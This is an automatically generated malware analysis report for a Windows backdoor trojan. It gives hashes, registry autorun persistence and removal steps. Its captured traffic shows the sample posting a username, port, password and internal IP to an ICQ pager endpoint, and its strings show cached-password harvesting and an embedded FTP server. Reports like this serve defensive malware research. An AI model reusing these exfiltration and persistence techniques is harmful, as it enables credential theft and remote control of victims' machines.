Generic.Malware.GSFkbg.7996E9FD_b9a354cb48 – Adaware

HEUR:Trojan.Win32.Generic (Kaspersky), Generic.Malware.G!SFkbg.7996E9FD (B) (Emsisoft), Generic.Malware.G!SFkbg.7996E9FD (AdAware), Trojan.Win32.Bumat.FD, VirusParite.YR (Lavasoft MAS)Behaviour: Trojan, Virus, Malware

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

MD5: b9a354cb48d2db1685fb9f1fef8a4f2f

SHA1: 032a01f72720705b9d62658c9cbea67aec5a14c4

SHA256: 04484fc5fda7618d2840fe1b370899a28ebbd087bece31504224f2cfa13e81d7

SSDeep: 6144:B3F8MHMHiTgxau4Ny6GI9youNIyrz2DoS6e1JcKL414qjiwzfebPdUvOawKAebRb:RFTax4EQ/ Iezu64JcKL41jjiwzfebPe

Size: 302080 bytes

File type: EXE

Platform: WIN32

Entropy: Packed

PEID: PackerUPXCompresorGratuitowwwupxsourceforgenet, UPXv0896v102v105v122Delphistub, UPolyXv05_v6

Company: VideoPerformer

Created at: 2001-06-04 01:06:50

Analyzed on: WindowsXPESX SP3 32-bit

Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Generic creates the following process(es):No processes have been created.The Generic injects its code into the following process(es):

%original file name%.exe:1748

Mutexes

The following mutexes were created/opened:

OleWho2ShimCacheMutexRasPbFile

File activity

The process %original file name%.exe:1748 makes changes in the file system.

The Generic creates and/or writes to the following file(s):

%WinDir%\IspDrv32.exe (4275 bytes)

Registry activity

The process %original file name%.exe:1748 makes changes in the system registry.

The Generic creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C1 5B F6 8D 8D 10 C8 80 91 C0 29 FE E4 B8 2D D7"

[HKCR\Ole32Ctrl]
"1Pa" = "ÃƒÆ’Ã¢â‚¬â„¢ÃƒÆ’Ã‚ÂºÃƒÆ’Ã‚Â¨ÃƒÆ’Ã‚Â¤Ãƒâ€šÃ‚Â¾Ãƒâ€šÃ‚Â½Ãƒâ€šÃ‚Â½ÃƒÆ’Ã‚Â¼ÃƒÂ¢Ã¢â€šÂ¬Ã¢â€žÂ¢"

"Psf" = "1"
"2Po" = "45100"

To automatically run itself each time Windows is booted, the Generic adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"IspStatus" = "IspDrv32.exe"

The Generic deletes the following value(s) in system registry:

The Generic disables automatic startup of the application by deleting the following autorun value:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"NetCtrl32"

"WinInetMsg"

Dropped PE files

There are no dropped PE files.

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):No processes have been created.
Delete the original Generic file.
Delete or disinfect the following files created/modified by the Generic:
%WinDir%\IspDrv32.exe (4275 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"IspStatus" = "IspDrv32.exe"
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name: FutureComms
Product Name:
Product Version: 1.01
Legal Copyright: futurecomms2000
Legal Trademarks:
Original Filename: Isp32Link
Internal Name: Isp32Link.exe
File Version: 1.0.1.0
File Description: IspLinkDriver
Comments: Internet Linkup Driver
Language: English (United States)

Company Name: FutureCommsProduct Name: Product Version: 1.01Legal Copyright: futurecomms2000Legal Trademarks: Original Filename: Isp32LinkInternal Name: Isp32Link.exeFile Version: 1.0.1.0File Description: IspLinkDriverComments: Internet Linkup DriverLanguage: English (United States)

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
UPX0	4096	569344	0	0	d41d8cd98f00b204e9800998ecf8427e
UPX1	573440	294912	294912	5.48937	880e5ec5dbb4fb244104599eaaa45a28
.rsrc	868352	8192	6144	2.58854	85af96b9128bc4e42d67f790b8dbd452

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://redirect.ovip.icq.com/scripts/WWPMsg.dll
hxxp://wwp.mirabilis.com/scripts/WWPMsg.dll	178.237.20.50

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

POST /scripts/WWPMsg.dll HTTP/1.0

Host: wwp.mirabilis.com

Accept: www/source, text/html, video/mpeg, image/jpeg, image/x-tiff

Accept: image/x-rgb, image/x-xbm, image/gif, */*, application/postscript

Content-type: application/x-www-form-urlencoded

Content-Length: 149

from=SpSg&fromemail=a@a.com&subject=Notice&body=Username[adm][PortNumber[45100][Pswd[Sync710s]OtherIP[192.168.1.130]CamerasFound[0]&to=103464999&send

HTTP/1.1 302 Found

Server: nginx/1.6.2

Date: Thu, 09 Oct 2014 13:40:04 GMT

Content-Type: text/html; charset=iso-8859-1

Content-Length: 210

Connection: close

Location: hXXp://VVV.icq.com/people/

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>302 Found</title>.</head><body>.<h1>Found</h1>.<p>The document has moved <a href="hXXp://VVV.icq.com/people/">here</a>.</p>.</body></html>...

POST /scripts/WWPMsg.dll HTTP/1.0

Host: wwp.mirabilis.com

Accept: www/source, text/html, video/mpeg, image/jpeg, image/x-tiff

Accept: image/x-rgb, image/x-xbm, image/gif, */*, application/postscript

Content-type: application/x-www-form-urlencoded

Content-Length: 149

from=SpSg&fromemail=a@a.com&subject=Notice&body=Username[adm][PortNumber[45100][Pswd[Sync710s]OtherIP[192.168.1.130]CamerasFound[0]&to=103464999&send

HTTP/1.1 302 Found

Server: nginx/1.6.2

Date: Thu, 09 Oct 2014 13:40:23 GMT

Content-Type: text/html; charset=iso-8859-1

Content-Length: 210

Connection: close

Location: hXXp://VVV.icq.com/people/

Map

The Generic connects to the servers at the folowing location(s):

Strings from Dumps

%original file name%.exe_1748:

.rsrc

$Info: This file is packed with the UPX executable packer hXXp://upx.tsx.org $

Portuguese

DUNA_Key

Opening port

Port opened

Authentication: change password

Password expired

se port

Port otev

Abrindo a porta

Porta aberta

rasapi32.dll

Error opening rasapi.dll

rnaph.dll

Error opening rnaph.dll

Port

LocalPort

PeerPort

SocksPort

SocksPassword

wsock32.dll

%s: WSAStartup error #%d

Cannot change Port if not closed

Cannot change LocalPort if not closed

255.255.255.255

WSocketResolveHost: Cannot convert host address '%s'

WSocketResolvePort: Invalid Port.

WSocketResolvePort: Cannot convert port '%s'

Uh.uA

WSocketResolveProto: Cannot convert protocol '%s'

GetPeerPort

%s: can't start DNS lookup, error #%d

winsock.bind failed, error #%d

winsock.getsockname failed, error #%d

Connect: No Port Specified

listen: port not assigned

Winsock.GetHostName failed

Operation would block

Operation now in progress

Operation already in progress

Socket operation on non-socket

Protocol not supported

Socket type not supported

Operation not supported on socket

Protocol family not supported

Address family not supported by protocol family

WinSock DLL cannot support this application

Can't change socks port if not closed

listening is not supported thru socks server

tcp is the only protocol supported thru socks server

0.0.0.1

command not supported

address type not supported

TFtpString

FtpServerException

FtpSrv

TFtpSrvAuthenticateEvent

TFtpCtrlSocket

Password

TFtpSrvChangeDirectoryEvent

TFtpSrvBuildDirectoryEvent

TFtpSrvClientConnectEvent

TFtpSrvDataSessionConnectedEvent

TFtpSrvClientCommandEvent

Keyword

TFtpSrvAnswerToClientEvent

TFtpStringp

TFtpSrvValidateXferEvent

TFtpSrvDataAvailableEvent

TFtpSrvRetrDataSentEvent

TFtpSrvCommandProc

TFtpSrvCommandTableItem

TFtpServer

0.0.0.0

220 ICS FTP Server ready.

PORT

500 '%s': command not understood.

331 Password required for %s.

503 Login with USER first.

230 User %s logged in.

530 Login incorrect.

$530 Please login with USER and PASS.

250 CWD command successful. "%s" is current directory.

501 CWD failed. %s

257 "%s" is current directory.

200 Port command successful.

501 Invalid PORT command.

150 Opening data connection for %s.

501 Cannot STOR. %s

ftp-data

426 Connection closed; %s.

426 Connection closed; transfer aborted. Error #%d

501 Cannot RETR. %s

451 Failed: %s.

1 ftp ftp

%s %2.2d

200 Type set to %s.

500 'TYPE %s': command not understood.

250 File '%s' deleted.

450 File '%s' can't be deleted.

550 '%s': no such file or directory.

213 %d

550 Command failed: %s.

350 REST supported. Ready to resume at byte offset %d.

501 Syntax error in parameter: %s.

553 '%s': file already exists.

250 File '%s' renamed to '%s'.

450 File '%s' can't be renamed.

200 Ok. Parameter was '%s'.

550 '%s': can't create directory.

550 '%s': file or directory already exists.

257 '%s': directory created.

150 APPE supported. Ready to append file "%s" at offset %d.

200 Ok. STRU parameter '%s' ignored.

550 '%s': no such directory.

250 '%s': directory removed.

550 '%s': can't remove directory.

227 Entering Passive Mode (127,0,0,1,%d,%d).

227 Entering Passive Mode (%d,%d,%d,%d,%d,%d).

500 PASV exception: '%s'.

213 %s

550 %s

EFtpCtrlSocketExceptionxHB

EFtpCtrlSocketException\HB

FtpSrvC

TFtpCtrlState

ftpcInvalid

ftpcWaitingUserCode

ftpcWaitingPassword

ftpcReady

ftpcWaitingAnswer

TFtpCmdType

ftpcPORT

ftpcSTOR

ftpcRETR

ftpcCWD

ftpcXPWD

ftpcPWD

ftpcUSER

ftpcPASS

ftpcLIST

ftpcRMD

ftpcTYPE

ftpcSYST

ftpcQUIT

ftpcDELE

ftpcRNFR

ftpcMKD

ftpcRNTO

ftpcNOOP

ftpcNLST

ftpcABOR

ftpcCDUP

ftpcSIZE

ftpcREST

ftpcAPPE

ftpcSTRU

ftpcMDTM JB

TFtpOption

ftpcUNC

TFtpOptions

CmdBuf

CmdLen

TFtpCtrlSocket KB

FtpState

PassWord

220-ICS FTP Server ready

C:\TEMP\

OnKeyDown

OnKeyPress

OnKeyUp

%s: %s

%s:%s

Operation

ErrMsg

TNMURL

TNMURLx

NMURL

ReportLevel

Errmsg

Max Udp pack size=

Initializaton of windows sockets failed

%d.%d.%d.%d

,%d,%d

CmdType

CmdGET

CmdOPTIONS

CmdHEAD

CmdPOST

CmdPUT

CmdPATCH

CmdCOPY

CmdMOVE

CmdDELETE

CmdLINK

CmdUNLINK

CmdTRACE

CmdWRAPPED

HTTPException

NMHttp

TNMHTTP

ProxyPort

Head.txt

Default.htm

Send.dat

hXXp://

Empty URL

https

HTTP Secure Socket is not supported

HTTP/1.0

Content-type: application/x-www-form-urlencoded

Uh|%C

Uh_%C

UhB%C

ThreadCacheSizexEC

PasswordChar

ssHorizontal

AutoHotkeys,

AutoHotkeysp

:].tJ

Uh.LD

EInvalidGraphicOperation

KeyPreview

WindowState,

ssHotTrack

TWindowState

poProportional

TWMKey

Uh.JE

System\CurrentControlSet\Control\Keyboard Layouts\%.8x

vcltest3.dll

TDragOperation

TKeyEvent

TKeyPressEvent

crSQLWait

%s (%s)

IMM32.DLL

EInvalidOperation

%s[%d]

%s_%d

USER32.DLL

comctl32.dll

MSWHEEL_ROLLMSG

MSH_WHEELSUPPORT_MSG

MSH_SCROLL_LINES_MSG

kernel32.dll

XTRASERV.EXE

127.0.0.1

\sf.dat

111File Executed.

SMTP Server

SMTP Server =

SMTP Display Name

SMTP Display Name =

SMTP Email Address

SMTP Email Address =

c:\program files\icq\uin\*.uin

\SOFTWARE\Microsoft\Windows\CurrentVersion\

Windows 95

Windows 98

ProductKey

555Windows directory is -

\sshh.dat

iexplore.exe

\cds.dat

501cds.dat

\cdl.dat

501cdl.dat

\cc.jpg

111Wrong password entered.

111Unable to execute module -

111Wrong password

111Executing

On Port

\def.bmp

drwxrwxrwx 1 ftp ftp 0 Apr 30 19:00 *VIRTUAL

C:\VIRTUAL\

-rwxrwxrwx 1 ftp ftp 0 Apr 30 19:00 *FORBIDEN

-rwxrwxrwx 1 ftp ftp 0 Apr 30 19:00 *TEST

drwxrwxrwx 1 ftp ftp 0 Apr 30 19:00 *SOME DIR

193.121.12.25

C:\VIRTUAL\FORBIDEN

This is a file created on the fly by the FTP server

Software\Microsoft\Windows\CurrentVersion\Run

IspDrv32.exe

Password:

\IspDrv32.exe

IspDll32.exe

NetCtrl32.exe

WinInetMsg

WinInetMsg.exe

mpr.dll

WNetEnumCachedPasswords

Couldn't import function. This program is for Windows 95 only

Cached Passwords.

No passwords found.

End of cached passwords..

from=SpSg&fromemail=a@a.com&subject=Notice

][PortNumber[

hXXp://wwp.mirabilis.com/scripts/WWPMsg.dll

%s\%s

\SOFTWARE\WebX\

Software\WebX\

NMHTTP1

FtpSer

FtpSerAuthenticate

FtpSerAlterDirectory

FtpSerBuildDirectory

FtpSerChangeDirectory

FtpSerClientConnect

FtpSerRetrSessionClosed!

FtpSerRetrSessionConnected

FtpSerValidateDele

FtpSerValidateGet

FtpSerValidatePut

FtpSerMakeDirectory

NMHTTP1Failure

FtpSerValidateRnFr

FtpSerValidateRnTo

NMHTTP1Success

NMHTTP1InvalidHost

NMHTTP1ConnectionFailed

FtpSerClientDisconnect

NMHTTP1Redirect

!Operation not supported on socket

/Address family not supported by protocol family

#Incompatible version of WINSOCK.DLL

?456789:;

!"#$%&'()* ,-./0123

xxtype.cpp

derv->tpClass.tpcFlags & CF_HAS_BASES

Inappropriate I/O control operation

Broken pipe

Operation not permitted

%H:%M:%S

%m/%d/%y

%A, %B %d, %Y

d/d/d d:d:d.d

xx.cpp

varType->tpClass.tpcFlags & CF_HAS_DTOR

varType->tpClass.tpcDtorAddr

(errPtr->ERRcInitDtc >= varType->tpClass.tpcDtorCount) || flags

memType->tpClass.tpcFlags & CF_HAS_DTOR

varType->tpArr.tpaElemType->tpClass.tpcFlags & CF_HAS_DTOR

dttPtr->dttType->tpPtr.tppBaseType->tpClass.tpcFlags & CF_HAS_DTOR

IS_CLASS(dttPtr->dttType->tpMask) && (dttPtr->dttType->tpClass.tpcFlags & CF_HAS_DTOR)

elemType->tpClass.tpcFlags & CF_HAS_DTOR

Update.exe

@$xp$12Nmurl@TNMURL

@$xp$14Nmhttp@CmdType

@$xp$14Nmhttp@TNMHTTP

@$xp$16Ftpsrv@FtpSrv__3

@$xp$17Ftpsrv@TFtpServer

@$xp$17Ftpsrv@TFtpString

@$xp$18Ftpsrvc@TFtpOption

@$xp$18Nmhttp@THeaderInfo

@$xp$19Ftpsrvc@TFtpCmdType

@$xp$19Ftpsrvc@TFtpOptions

@$xp$19Nmhttp@TResultEvent

@$xp$19Nmurl@TOnErrorEvent

@$xp$20Nmhttp@HTTPException

@$xp$21Ftpsrvc@TCommandEvent

@$xp$21Ftpsrvc@TDisplayEvent

@$xp$21Ftpsrvc@TFtpCtrlState

@$xp$22Ftpsrvc@TFtpCtrlSocket

@$xp$25Ftpsrv@FtpServerException

@$xp$25Ftpsrv@TFtpSrvCommandProc

@$xp$26Ftpsrv@TFtpCtrlSocketClass

@$xp$30Ftpsrv@TFtpSrvCommandTableItem

@$xp$31Ftpsrv@TFtpSrvAuthenticateEvent

@$xp$31Ftpsrv@TFtpSrvRetrDataSentEvent

@$xp$31Ftpsrv@TFtpSrvValidateXferEvent

@$xp$31Ftpsrvc@EFtpCtrlSocketException

@$xp$32Ftpsrv@TFtpSrvClientCommandEvent

@$xp$32Ftpsrv@TFtpSrvClientConnectEvent

@$xp$32Ftpsrv@TFtpSrvDataAvailableEvent

@$xp$33Ftpsrv@TFtpSrvAnswerToClientEvent

@$xp$33Ftpsrv@TFtpSrvBuildDirectoryEvent

@$xp$34Ftpsrv@TFtpSrvChangeDirectoryEvent

@$xp$39Ftpsrv@TFtpSrvDataSessionConnectedEvent

@Ftpsrv@CopyRight

@Ftpsrv@Finalization$qqrv

@Ftpsrv@FtpServerException@

@Ftpsrv@Register$qqrv

@Ftpsrv@TFtpServer@

@Ftpsrv@TFtpServer@$bctr$qqrp18Classes@TComponent

@Ftpsrv@TFtpServer@$bdtr$qqrv

@Ftpsrv@TFtpServer@AddCommand$qqrx17System@AnsiStringxynpqqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2$v

@Ftpsrv@TFtpServer@BuildDirectory$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%p15Classes@TStreamo

@Ftpsrv@TFtpServer@ClientCommand$qqrp14System@TObjectpci

@Ftpsrv@TFtpServer@ClientDataSent$qqrp14System@TObjectus

@Ftpsrv@TFtpServer@ClientPassiveSessionAvailable$qqrp14System@TObjectus

@Ftpsrv@TFtpServer@ClientRetrDataSent$qqrp14System@TObjectus

@Ftpsrv@TFtpServer@ClientRetrSessionClosed$qqrp14System@TObjectus

@Ftpsrv@TFtpServer@ClientRetrSessionConnected$qqrp14System@TObjectus

@Ftpsrv@TFtpServer@ClientSessionClosed$qqrp14System@TObjectus

@Ftpsrv@TFtpServer@ClientStorDataAvailable$qqrp14System@TObjectus

@Ftpsrv@TFtpServer@ClientStorSessionClosed$qqrp14System@TObjectus

@Ftpsrv@TFtpServer@ClientStorSessionConnected$qqrp14System@TObjectus

@Ftpsrv@TFtpServer@CommandABOR$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2

@Ftpsrv@TFtpServer@CommandAPPE$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2

@Ftpsrv@TFtpServer@CommandCDUP$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2

@Ftpsrv@TFtpServer@CommandCWD$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2

@Ftpsrv@TFtpServer@CommandChangeDir$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2

@Ftpsrv@TFtpServer@CommandDELE$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2

@Ftpsrv@TFtpServer@CommandDirectory$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2o

@Ftpsrv@TFtpServer@CommandLIST$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2

@Ftpsrv@TFtpServer@CommandMDTM$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2

@Ftpsrv@TFtpServer@CommandMKD$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2

@Ftpsrv@TFtpServer@CommandNLST$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2

@Ftpsrv@TFtpServer@CommandNOOP$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2

@Ftpsrv@TFtpServer@CommandPASS$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2

@Ftpsrv@TFtpServer@CommandPASV$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2

@Ftpsrv@TFtpServer@CommandPORT$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2

@Ftpsrv@TFtpServer@CommandPWD$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2

@Ftpsrv@TFtpServer@CommandQUIT$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2

@Ftpsrv@TFtpServer@CommandREST$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2

@Ftpsrv@TFtpServer@CommandRETR$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2

@Ftpsrv@TFtpServer@CommandRMD$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2

@Ftpsrv@TFtpServer@CommandRNFR$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2

@Ftpsrv@TFtpServer@CommandRNTO$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2

@Ftpsrv@TFtpServer@CommandSIZE$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2

@Ftpsrv@TFtpServer@CommandSTOR$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2

@Ftpsrv@TFtpServer@CommandSTRU$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2

@Ftpsrv@TFtpServer@CommandSYST$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2

@Ftpsrv@TFtpServer@CommandTYPE$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2

@Ftpsrv@TFtpServer@CommandUSER$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2

@Ftpsrv@TFtpServer@CommandXPWD$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2

@Ftpsrv@TFtpServer@DisconnectAll$qqrv

@Ftpsrv@TFtpServer@GetActive$qqrv

@Ftpsrv@TFtpServer@GetClientCount$qqrv

@Ftpsrv@TFtpServer@Notification$qqrp18Classes@TComponent18Classes@TOperation

@Ftpsrv@TFtpServer@SendAnswer$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%

@Ftpsrv@TFtpServer@SendNextDataChunk$qqrp22Ftpsrvc@TFtpCtrlSocketp16Wsocket@TWSocket

@Ftpsrv@TFtpServer@ServSocketSessionAvailable$qqrp14System@TObjectus

@Ftpsrv@TFtpServer@ServSocketStateChange$qqrp14System@TObject20Wsocket@TSocketStatet2

@Ftpsrv@TFtpServer@SetActive$qqro

@Ftpsrv@TFtpServer@Start$qqrv

@Ftpsrv@TFtpServer@StartSendData$qqrp22Ftpsrvc@TFtpCtrlSocket

@Ftpsrv@TFtpServer@Stop$qqrv

@Ftpsrv@TFtpServer@TriggerAlterDirectory$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%o

@Ftpsrv@TFtpServer@TriggerAuthenticate$qqrp22Ftpsrvc@TFtpCtrlSocket17System@AnsiStringt2ro

@Ftpsrv@TFtpServer@TriggerBuildDirectory$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%o

@Ftpsrv@TFtpServer@TriggerChangeDirectory$qqrp22Ftpsrvc@TFtpCtrlSocket17System@AnsiStringro

@Ftpsrv@TFtpServer@TriggerClientCommand$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2

@Ftpsrv@TFtpServer@TriggerClientConnect$qqrp22Ftpsrvc@TFtpCtrlSocketus

@Ftpsrv@TFtpServer@TriggerClientDisconnect$qqrp22Ftpsrvc@TFtpCtrlSocketus

@Ftpsrv@TFtpServer@TriggerMakeDirectory$qqrp22Ftpsrvc@TFtpCtrlSocket17System@AnsiStringro

@Ftpsrv@TFtpServer@TriggerRetrDataSent$qqrp22Ftpsrvc@TFtpCtrlSocketp16Wsocket@TWSocketus

@Ftpsrv@TFtpServer@TriggerRetrSessionClosed$qqrp22Ftpsrvc@TFtpCtrlSocketp16Wsocket@TWSocketus

@Ftpsrv@TFtpServer@TriggerRetrSessionConnected$qqrp22Ftpsrvc@TFtpCtrlSocketp16Wsocket@TWSocketus

@Ftpsrv@TFtpServer@TriggerSendAnswer$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%

@Ftpsrv@TFtpServer@TriggerServerStart$qqrv

@Ftpsrv@TFtpServer@TriggerServerStop$qqrv

@Ftpsrv@TFtpServer@TriggerStorDataAvailable$qqrp22Ftpsrvc@TFtpCtrlSocketp16Wsocket@TWSocketpcius

@Ftpsrv@TFtpServer@TriggerStorSessionClosed$qqrp22Ftpsrvc@TFtpCtrlSocketp16Wsocket@TWSocketus

@Ftpsrv@TFtpServer@TriggerStorSessionConnected$qqrp22Ftpsrvc@TFtpCtrlSocketp16Wsocket@TWSocketus

@Ftpsrv@TFtpServer@TriggerValidateDele$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%ro

@Ftpsrv@TFtpServer@TriggerValidateGet$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%ro

@Ftpsrv@TFtpServer@TriggerValidatePut$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%ro

@Ftpsrv@TFtpServer@TriggerValidateRnFr$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%ro

@Ftpsrv@TFtpServer@TriggerValidateRnTo$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%ro

@Ftpsrv@TFtpServer@WMFtpSrvAbortTransfer$qqrr17Messages@TMessage

@Ftpsrv@TFtpServer@WMFtpSrvClientClosed$qqrr17Messages@TMessage

@Ftpsrv@TFtpServer@WMFtpSrvCloseData$qqrr17Messages@TMessage

@Ftpsrv@TFtpServer@WMFtpSrvCloseRequest$qqrr17Messages@TMessage

@Ftpsrv@TFtpServer@WndProc$qqrr17Messages@TMessage

@Ftpsrv@initialization$qqrv

@Ftpsrvc@CopyRight

@Ftpsrvc@EFtpCtrlSocketException@

@Ftpsrvc@Finalization$qqrv

@Ftpsrvc@IsUNC$qqr17System@AnsiString

@Ftpsrvc@PatchIE5$qqrr17System@AnsiString

@Ftpsrvc@TFtpCtrlSocket@

@Ftpsrvc@TFtpCtrlSocket@$bctr$qqrp18Classes@TComponent

@Ftpsrvc@TFtpCtrlSocket@$bdtr$qqrv

@Ftpsrvc@TFtpCtrlSocket@Dup$qqri

@Ftpsrvc@TFtpCtrlSocket@GetPeerAddr$qqrv

@Ftpsrvc@TFtpCtrlSocket@SendAnswer$qqr17System@AnsiString

@Ftpsrvc@TFtpCtrlSocket@SetAbortingTransfer$qqro

@Ftpsrvc@TFtpCtrlSocket@SetDirectory$qqr17System@AnsiString

@Ftpsrvc@TFtpCtrlSocket@SetRcvSize$qqri

@Ftpsrvc@TFtpCtrlSocket@StartConnection$qqrv

@Ftpsrvc@TFtpCtrlSocket@TriggerCommand$qqrpci

@Ftpsrvc@TFtpCtrlSocket@TriggerDataAvailable$qqrus

@Ftpsrvc@TFtpCtrlSocket@TriggerSessionConnected$qqrus

@Ftpsrvc@initialization$qqrv

@Ftpsrvt@CopyRight

@Ftpsrvt@FileUtcStr$qqr17System@AnsiString

@Ftpsrvt@Finalization$qqrv

@Ftpsrvt@initialization$qqrv

@Nmhttp@Finalization$qqrv

@Nmhttp@HTTPException@

@Nmhttp@THeaderInfo@

@Nmhttp@TNMHTTP@

@Nmhttp@TNMHTTP@$bctr$qqrp18Classes@TComponent

@Nmhttp@TNMHTTP@$bdtr$qqrv

@Nmhttp@TNMHTTP@Abort$qqrv

@Nmhttp@TNMHTTP@AssembleHTTPHeader$qqrv

@Nmhttp@TNMHTTP@Copy$qqr17System@AnsiStringt1

@Nmhttp@TNMHTTP@Delete$qqr17System@AnsiString

@Nmhttp@TNMHTTP@Get$qqr17System@AnsiString

@Nmhttp@TNMHTTP@HTTPConnect$qqrv

@Nmhttp@TNMHTTP@Head$qqr17System@AnsiString

@Nmhttp@TNMHTTP@Link$qqr17System@AnsiStringt1

@Nmhttp@TNMHTTP@Move$qqr17System@AnsiStringt1

@Nmhttp@TNMHTTP@Options$qqr17System@AnsiString

@Nmhttp@TNMHTTP@ParseURL$qqrv

@Nmhttp@TNMHTTP@Patch$qqr17System@AnsiStringt1

@Nmhttp@TNMHTTP@Post$qqr17System@AnsiStringt1

@Nmhttp@TNMHTTP@Put$qqr17System@AnsiStringt1

@Nmhttp@TNMHTTP@RemoveHeader$qqrv

@Nmhttp@TNMHTTP@SendHTTP$qqrv

@Nmhttp@TNMHTTP@Trace$qqr17System@AnsiStringt1

@Nmhttp@TNMHTTP@UnLink$qqr17System@AnsiStringt1

@Nmhttp@TNMHTTP@Wrapped$qqr17System@AnsiStringt1

@Nmhttp@initialization$qqrv

@Nmurl@Finalization$qqrv

@Nmurl@TNMURL@

@Nmurl@TNMURL@$bctr$qqrp18Classes@TComponent

@Nmurl@TNMURL@$bdtr$qqrv

@Nmurl@TNMURL@GetDecodeString$qqrv

@Nmurl@TNMURL@GetEncodeString$qqrv

@Nmurl@TNMURL@URLDecode$qqrx17System@AnsiString

@Nmurl@TNMURL@URLEncode$qqrx17System@AnsiString

@Nmurl@initialization$qqrv

@Psock@InstantiateServethread@Execute$qqrv

@Psock@TPowersock@CertifyConnect$qqrv

@Psock@TPowersock@GetPortString$qqrv

@Wsocket@TCustomSocksWSocket@SetSocksPort$qqr17System@AnsiString

@Wsocket@TCustomWSocket@GetPeerPort$qqrv

@Wsocket@TCustomWSocket@GetRemotePort$qqrv

@Wsocket@TCustomWSocket@GetXPort$qqrv

@Wsocket@TCustomWSocket@Notification$qqrp18Classes@TComponent18Classes@TOperation

@Wsocket@TCustomWSocket@SetLocalPort$qqr17System@AnsiString

@Wsocket@TCustomWSocket@SetRemotePort$qqr17System@AnsiString

@Wsocket@WSocketResolvePort$qqr17System@AnsiStringt1

333333333333333333

33333833

3333339

3333333333333338

:*"*"$3338

3333333

33333333

33333333333

3333333333338

33338?383

333333333333

:*3:"$3338

333333333333333

Font.Charset

Font.Color

Font.Height

Font.Name

Font.Style

1-888-2-GET-WEB (In USA)

E-mail info@netmastersllc.com

hXXp://VVV.netmastersllc.com

Picture.Data

[.QRh

